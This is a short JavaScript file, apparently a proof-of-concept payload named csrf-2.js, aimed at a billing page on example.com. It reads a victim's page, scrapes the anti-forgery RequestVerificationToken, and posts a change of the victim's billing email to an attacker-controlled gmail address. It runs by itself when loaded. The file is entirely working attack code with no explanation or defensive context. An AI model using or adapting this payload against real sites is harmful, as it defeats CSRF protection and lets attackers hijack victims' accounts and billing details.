csrf-2.js

function email() {
        var req = new XMLHttpRequest();
        req.open('GET','https://www.example.com/account/BillInfo.asp?sid=[victim sid]',false);
        req.send();
        var response = req.responseText; 
        var parser = new DOMParser();
        var doc = parser.parseFromString(response, "text/html")
        var token = doc.getElementsByName("RequestVerificationToken")[0].value;

        var x = new XMLHttpRequest();
        x.open("POST", "https://www.example.com/account/BillInfo.asp?sid=[victim sid]", false);
        x.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
        x.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        x.setRequestHeader("Accept-Language", "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7");
        var body = "Billingemail=attcker%40gmail.com&originalBillingemail=attacker%40gmail.com&RequestVerificationToken="+encodeURIComponent(token)+"&Submit=Save&cmd=submit";
        x.send(body);
      }
      try {
        email();
      }catch(e){
        location.href = "https://www.example.com"
      }